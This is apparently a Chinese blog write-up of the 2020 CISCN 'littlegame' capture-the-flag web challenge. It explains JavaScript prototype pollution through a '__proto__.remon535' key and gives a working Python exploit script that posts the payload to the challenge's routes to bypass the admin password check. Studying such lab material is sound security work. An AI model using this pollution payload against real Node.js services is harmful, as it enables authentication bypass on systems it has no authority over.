• web-2020 ciscn littlegame(原型链污染)


    下载题目源码,审计index.js,这里贴出关键代码

     

     

    发现了几个路由,在DeveloperControlPanel中发现了用户的认证,flag关键字提示我们通过认证就能拿到flag,认证需要post keypassword,最后会进行校验。继续往下看可以看到PrivilegeNewAttributeKeyNewAttributeKey。所以考虑是js原型链污染。向Privilege post时会检查req.session.knight 是否为空。先访问SpawnPoint获得session

    SpawnPoint-->Privilege-->DeveloperControlPanel

     

    每一个proto都会指向上一级的prototype当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined

    原型链污染就是通过能修改函数的proto属性去更改上级类

    NewAttributeKey赋值为__proto__.remon535,再给key赋值为remon535,之后的判断就是Admin[‘remon535’] === password。

    setFn(req.session.knight, key, value);执行后的结果是

    req.session.knightvalue被设置成了{ __proto__: { bb: value } }

    使用json__proto__被认为是一个键名

    这样最后返回的就是我们一开始输入的NewAttributeValue的值。NewAttributeValue和password我们都能控制,让他们相同就能拿到flag

     

    exp:

    #!/usr/bin/python
    import requests
    session=requests.session()
    session.get("http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/SpawnPoint")
    url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/Privilege"
    json={"NewAttributeKey":"__proto__.remon535","NewAttributeValue":"abc"}
    session.post(url,json=json)
    url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
    json={"key":"remon535","password":"abc"}
    ret=session.post(url,json=json)
    print(ret.text)
  • 相关阅读:
    三个录屏软件
    不用 PS 和 AI,5个网站能做出更好看的设计
    使用vue.js开发小程序
    js异步处理
    HTTP、HTTP1.0、HTTP1.1、HTTP2.0、HTTPS
    Chrome不支持css字体小于12px的解决办法
    处理CSS前缀问题的神器——AutoPrefixer
    CSS | 字体系列
    qemu-img 命令讲解
    全面理解 git
  • 原文地址:https://www.cnblogs.com/remon535/p/13643820.html
Copyright © 2020-2023  润新知